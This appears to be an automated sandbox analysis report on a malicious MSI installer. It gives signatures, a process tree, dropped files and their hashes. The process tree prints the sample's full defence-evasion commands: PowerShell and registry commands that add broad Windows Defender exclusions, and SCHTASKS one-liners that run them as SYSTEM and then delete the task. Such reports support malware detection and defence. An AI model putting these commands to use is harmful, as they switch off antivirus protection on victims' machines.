Analysis

  • max time kernel
    150s
  • max time network
    141s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/08/2026, 03:06

General

  • Target
    install_s0up006.msi
  • Size 7.6MB
  • Sample260802-dl7ayacd36
  • SHA256 ae3dd3a9a10c8e19d870503c1eadc4def04cd6ce3d0c994514b7548ccbb82e89
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 10 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 8 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_s0up006.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:3340
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3452
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1908
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 99DAD7C33B0340C9BB7D05AE220B9431 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:716
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:1292
  • C:\Users\Public\WT4ZKW\d9PXsd.exe
    "C:\Users\Public\WT4ZKW\d9PXsd.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5132
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4356
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\WT4ZKW\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:1260
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\WT4ZKW\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5124
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4704
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4788
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4180
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2356
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:6052
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3336
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2508
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5300
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3468
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:3124
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4612
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1908
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4184
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:2800
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:5904
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5772
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:6032
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3024
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\WT4ZKW" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4172
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\WT4ZKW" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4144
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:5748
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:3504
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:2540
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1848
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3764
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2524
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4400
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5932
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4656

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              e5980d0.rbs

                              • Path C:\Config.Msi\e5980d0.rbs
                              • Size 7KB
                              • SHA256 68fd3a183db99077b7fd6a1583c4b297cab6bb5a06c6f0d8097d81f9cde5ac9e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\WT4ZKW\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 0824c4baac25281a06683d839886e6bb2237e907c1322256905d7b88740e04de
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\WT4ZKW\adoresd.dat
                              • Size 4.7MB
                              • SHA256 7ce2396ea2ccaca1fdc0fa57441b43d5c657ee384beda99232a7a29ba0041dac
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              d9PXsd.exe

                              • Path C:\Users\Public\WT4ZKW\d9PXsd.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\WT4ZKW\msadox.tb
                              • Size 8KB
                              • SHA256 dab07f78fb12cb714cef5a9e00c501867808cb1a441dd484a824a5ce2e652ccf
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              MSI8852.tmp

                              • Path C:\Windows\Installer\MSI8852.tmp
                              • Size 7.5MB
                              • SHA256 a67b0d3ea524701352723b1b52f15b3a1cac7f953391c03ffad0c38d336c6fcd
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              e5980cf.msi

                              • Path C:\Windows\Installer\e5980cf.msi
                              • Size 7.6MB
                              • SHA256 ae3dd3a9a10c8e19d870503c1eadc4def04cd6ce3d0c994514b7548ccbb82e89
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              metadata-2

                              • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                              • Size 26.1MB
                              • SHA256 9ec5ec40148d3cb8a595bc27e5a2c4da5c0f1e72c1b9ae19d3a0377dae78dee2
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              {0bdf6203-ce73-4cb5-8d04-9e9deea0131f}_OnDiskSnapshotProp

                              • Path \??\Volume{5d76dc85-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{0bdf6203-ce73-4cb5-8d04-9e9deea0131f}_OnDiskSnapshotProp
                              • Size 6KB
                              • SHA256 af47d542876843c89a3faa16b3a36bf3ad648513860774295e96c703244c0d0f
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/716-40-0x00007FFE02520000-0x00007FFE02532000-memory.dmp

                              memory/716-18-0x00007FFE02520000-0x00007FFE02532000-memory.dmp

                              memory/716-15-0x00007FFDEF5C0000-0x00007FFDEFBFA000-memory.dmp

                              memory/716-14-0x00007FFE13170000-0x00007FFE13172000-memory.dmp

                              memory/4356-99-0x000001C11C160000-0x000001C11C182000-memory.dmp

                              memory/4356-104-0x000001C11C1E0000-0x000001C11C1EA000-memory.dmp

                              memory/4356-103-0x000001C11C210000-0x000001C11C2C2000-memory.dmp

                              memory/4356-102-0x000001C11C1F0000-0x000001C11C20E000-memory.dmp

                              memory/5132-65-0x00007FFE13180000-0x00007FFE13182000-memory.dmp

                              memory/5132-86-0x000002003D680000-0x000002003D70A000-memory.dmp

                              memory/5132-71-0x000002003CD50000-0x000002003D5E1000-memory.dmp

                              memory/5132-72-0x000002003CD50000-0x000002003D5E1000-memory.dmp

                              memory/5132-73-0x000002003CD50000-0x000002003D5E1000-memory.dmp

                              memory/5132-77-0x000002003CD50000-0x000002003D5E1000-memory.dmp

                              memory/5132-83-0x000002003ABB0000-0x000002003ABFE000-memory.dmp

                              memory/5132-85-0x000002003D680000-0x000002003D70A000-memory.dmp

                              memory/5132-87-0x000002003D680000-0x000002003D70A000-memory.dmp

                              memory/5132-70-0x000002003CD50000-0x000002003D5E1000-memory.dmp

                              memory/5132-84-0x000002003D680000-0x000002003D70A000-memory.dmp

                              memory/5132-90-0x000002003CD50000-0x000002003D5E1000-memory.dmp

                              memory/5132-92-0x000002003CD50000-0x000002003D5E1000-memory.dmp

                              memory/5132-93-0x000002003CD50000-0x000002003D5E1000-memory.dmp

                              memory/5132-66-0x000002003CD50000-0x000002003D5E1000-memory.dmp

                              memory/5132-63-0x000002003CD50000-0x000002003D5E1000-memory.dmp

                              memory/5132-58-0x00007FFDEF6E0000-0x00007FFDEFBFE000-memory.dmp

                              memory/5132-57-0x00007FFE13170000-0x00007FFE13172000-memory.dmp